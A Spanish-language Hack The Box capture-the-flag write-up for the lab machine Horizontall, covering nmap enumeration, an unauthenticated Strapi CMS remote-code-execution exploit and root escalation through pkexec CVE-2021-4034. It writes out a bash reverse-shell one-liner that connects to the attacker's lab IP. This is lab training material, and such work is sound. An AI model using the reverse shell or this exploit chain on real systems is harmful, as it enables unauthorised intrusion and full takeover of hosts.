Hack The Box - Horizontall
...

Horizontall.png

Resumen:
...

La máquina Horizontall comienza con el escaneo de los puertos expuestos mediante la herramienta nmap, en donde se observa la apertura de los siguientes puertos: 22(SSH) y 80(HTTP). Se examina el código fuente de la página web alojada en el puerto 80, donde existe un archivo app.c68eb462.js minificado que al unminificarlo se busca por el dominio '.htb' y se descubre la existencia de un subdominio.

Se enumeró las técnologías usadas en este subdominio, descubriendo que emplea el cms strapi. Mediante una búsqueda con searchsploit se identifica un exploit para strapi que permite la ejecución remota de comandos (RCE) sin necesidad de estar autenticado. Ejecutando el exploit, se obtuvo una shell como el usuario strapi.

Para la etapa de escalada de privilegios, se realizó una búsqueda de binarios que tenga permisos SUID, dentro de los cuales se encontró el binario pkexec, cuya versión es la 0.105. Conociendo la versión se procedió a realizar una búsqueda en Google, donde se encontró que está versión de pkexec posee un Common Vulnerabilities and Exposures (CVE) con código CVE-2021-4034. Y buscnado por este CVE, se encontró un repositorio que presenta una prueba de concepto (PoC) para esta vulnerabilidad, el cual clonamos en nuestra máquina de atacante para luego pasar los archivos a la máquina víctima, compilandolos y ejecuntando el expl.sh obtienendo una shell como root capturando la última flag.

KeyWords: Nmap, port enumeration, technology enumeration, source code reading, Proof of Concept.

Palabras Clave: Nmap, enumeración de puertos, enumeración de tecnologías, lectura código fuente, Pruebas de Concepto.

Realizado por Luis Ramos Moncayo, a fecha 12 de Enero de 2024

Reconocimiento
...

Nmap
...

Se emplea la herramienta Nmap para hacer el reconocimiento de puertos de la máquina Horizontall y de esta forma conocer cuales están abiertos.

> sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.105 -oG allPorts

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-09 06:41 CET
Initiating SYN Stealth Scan at 06:41
Scanning 10.10.11.105 [65535 ports]
Discovered open port 22/tcp on 10.10.11.105
Discovered open port 80/tcp on 10.10.11.105
Completed SYN Stealth Scan at 06:42, 11.25s elapsed (65535 total ports)
Nmap scan report for 10.10.11.105
Host is up, received user-set (0.035s latency).
Scanned at 2024-01-09 06:41:52 CET for 12s
Not shown: 65470 closed tcp ports (reset), 63 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.51 seconds
           Raw packets sent: 66962 (2.946MB) | Rcvd: 65543 (2.622MB)
Parámetros Nmap
-p-Escanea todos los 65535 puertos
–openSolo muestra los puertos abiertos
-sSEscaneo TCP SYN
–min-rateEnvío mínimo de paquetes
-vvvMuestra la información del escaneo mientras está ejecutándose
-nNo realiza resolución DNS
-PnNo realiza Host Discovery
-oGExporta el output en un archivo con formato grepeable

Se confirma que tiene abiertos los siguientes puertos: 22 (ssh) y 80 (http), por lo que mediante el archivo grepeable que creamos anteriormente, se hara uso de una función personalidada en la .zshrc, que extrae y copia a la clipboard los puertos resultantes de la primera consulta nmap para luego pegarlos en una siguiente.

> extractPorts allPorts

[+] Extracting Information....

	[+] IP Address: 10.10.11.105
	[+] Open Ports: 22,80

[+] Ports copied to clipboard

Con esta siguiente consulta se buscará enumerar que servicios están expuertos y sus respectivas versiones.

> sudo nmap -sCV -p22,80 10.10.11.105 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-09 07:23 CET
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.16 seconds

Parámetros Nmap
-sCConjunto de Scripts básicos de reconocimiento
-sVVerificación de las versiones de los servicios expuestos
-oNGuarda el output en un archivo

El puerto 22 posee el servicio OpenSSH cuya versión es anterior a la 7.7, por lo cual es vulnerable a la enumeración de usuarios válidos. En el puerto 80 se encuentra expuesto un servicio Nginx, de modo que se infiere la existencia de una página web. Al momento de colocar la ip de la máquina Horizontall en el navegador nos redirige al dominio horizontall.htb, así que se tiene que editar el archivo /etc/hosts para añadir este dominio y tener conexión.

3_Agregamos_al_etc_host.png

Enumeración
...

Puerto TCP 80 - HTTP
...

Se procede a enumerar las tecnologías que utiliza la página web, por medio de la herramienta whatweb, para obtener una información general antes de revisar la página en el navegador.

4_Técnologías_Web.png

En el navegador web, se coloca el dominio horizontall.htb comenzando la enumeración de la página alojada en el puerto 80.

5_Pagina_Principal.png

Se revisa el código fuente, donde se descubre una pista que servirá para continuar con la obtención de información.

6_Pista_en_codigo_fuente.png
Al revisar la consola se observa archivos javascript, donde se va a copiar el URI del archivo app.c68eb462.js, para verlo en una nueva pestaña.

7_Copiamos_Direcion_JS.png

El código de app.c68eb462.js está minificado, por lo que se tendrá unminificar, para poder entender mejor el código.

8_Codigo_Minified.png

Para unminificar el código, se va a la página unminify.com , pega el código minificado y luego se da click a Unminify.

9_Lo_DesUnminificamos.png

Se copia el código unminificado, para pasarlo a un editor de texto con el objetivo de tener una mejor lectura y poder de búsqueda.

10_Copiamos_Codigo_unminificado.png

Buscamos por el dominio .htb hasta terminar con todas las coincidencias, con el propósito de encontrar un subdominio, y este es el caso a razón de que se encuentra el subdominioapi-prod.horizontall.htb

11_Buscamos_HTB_VHOST.png

Se procede agregar este subdominio al /etc/hosts, con el fin de obtener conexión cuando lo busquemos en el navegador.

12_Añadimos_vhost_etc_hosts.png

Enumerando las tecnologías de la página web en el subdominio encontrado, se observa que está usando el cms strapi, mismo que posteriormente se buscará la existencia de algún exploit que se pueda aprovechar como un vector de entrada a esta máquina como un usuario sin privilegios.

13_Tecnologías_Web_Api.png

Explotación
...

Exploit Strapi CMS - Shell as strapi
...

En searchsploit, se procede a realizar la búsqueda de algún exploit para strapi, y se observa la existencia de uno que permite la ejecución remota de comandos (RCE) sin necesidad de estar autenticado.

14_Buscamos_Exploit_Strapi.png

Conociendo las posibilidades de este exploit, se procede a descargarlo.

15_Descargamos_Exploit_Strapi.png

Se observa que parámetros son los necesario para ejecutar de manera correcta el exploit.

16_Usage_Exploit.png

Añadiendo el url del subdominio, como parámetro en el exploit, se lo ejecuta y se obteniene una pseudo terminal, donde podemos ejecutar comandos.

17_Ejecutamos_Exploit.png

Teniendo la posibilidad de RCE, se ejecuta el one liner para la obteneción de una reverse shell, mientras que nuestra máquina se abre otra terminal para que mediante netcat, estar en escucha por el puerto 443.

bash -c 'bash -i >& /dev/tcp/10.10.14.42/443 0>&1'

18_Shell_as_strapi.png

De forma que se obtiene la primera flag de esta máquina.

18_User_flag.png

Escalada de Privilegios
...

Búsqueda de Binarios con Permisos SUID
...

Buscando binarios con permisos SUID en la máquina, se encuentra pkexec. Mismo que se conoce que se puede aprovechar para una escalada de permisos.

19_Priviesc_FIND_Binaries.png

Para saber que este binario es vulnerable, se requiere saber que versión posee esta máquina. De modo que ejecutando el binario pkexec con el parámetro --version, permitiendo conocer que es la versión 0.105.

20_pkexec_Version.png

CVE-2021-4034 - Shell as root
...

En google, se realiza una busqueda con el nombre del binario pkexec ver 0.105, saltando resultados de que posee un CVE, para ser exactos el CVE-2021-4034 mismo que en un repositorio de Github existe una prueba de concepto.

21_CVE-2021-4034_version_0.105.png

Se clona el repositorio en nuestra máquina.

22_Clonamos_Repositorio.png

En la máquina víctima se revisa que exista los siguientes paquetes: gcc, make y nano.

23_comprobamos_gcc_make_nano.png

Con nano en la máquina víctima se procederá a copiar y pegar la información de los siguientes archivos: fake_module.c, helper.c y expl.sh. Se lo va a enviar en el directorio /tmp, para ejecutarlo sin ningun problema de permisos.

24_fake_module.png

25_helper.png

El último archivo además de pasarlo a la máquina víctima, se le asigna de permisos de ejecución.

26_expl_sh.png

Ejecutando el script, se logra obtener una bash como root, terminando la máquina y obteniendo la última flag.

27_shell_as_root.png